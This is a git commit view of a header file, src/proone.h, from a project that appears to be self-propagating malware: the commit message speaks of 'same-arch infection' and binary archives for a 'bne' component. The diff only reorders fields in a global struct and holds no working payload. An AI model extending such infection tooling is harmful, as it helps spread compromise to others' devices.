aboutsummaryrefslogtreecommitdiff
path: root/src/proone.h
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2021-07-22 22:30:48 +1000
committerDavid Timber <mieabby@gmail.com>2021-07-22 22:30:48 +1000
commit5a98bcd78867b4fb1a272ce26774c8811f28750d (patch)
treefebb7d4d3112d4ce598cd9352fc81d2da2d54ca6 /src/proone.h
parenta0b92490365dc88d50c81780ff9ebb6ddb681e5e (diff)
Impl PRNE_HTBT_OP_RCB ...
* Parameterize prne_start_bin_rcb() args * Change value of PRNE_ARCH_NONE to 0 to use it over the wire (problem arises deserialising) * tostr() and fstr() functions set errno to EINVAL * Run bne without binary archive to support same-arch infection
Diffstat (limited to 'src/proone.h')
-rw-r--r--src/proone.h8
1 files changed, 2 insertions, 6 deletions
diff --git a/src/proone.h b/src/proone.h
index 5b73185..a53ac9d 100644
--- a/src/proone.h
+++ b/src/proone.h
@@ -28,14 +28,10 @@ struct prne_global { // TODO: tidy init code when finalised
prne_resolv_t *resolv;
pid_t parent_pid;
pid_t child_pid;
- uint8_t *m_dvault;
- const uint8_t *m_exec;
- size_t exec_size;
- size_t self_size;
- const uint8_t *m_exec_dvault;
int blackhole[2];
int shm_fd;
- uint16_t dvault_size;
+ prne_rcb_param_t rcb_param;
+ uint8_t *m_dvault;
bool is_child;
prne_bin_archive_t bin_archive;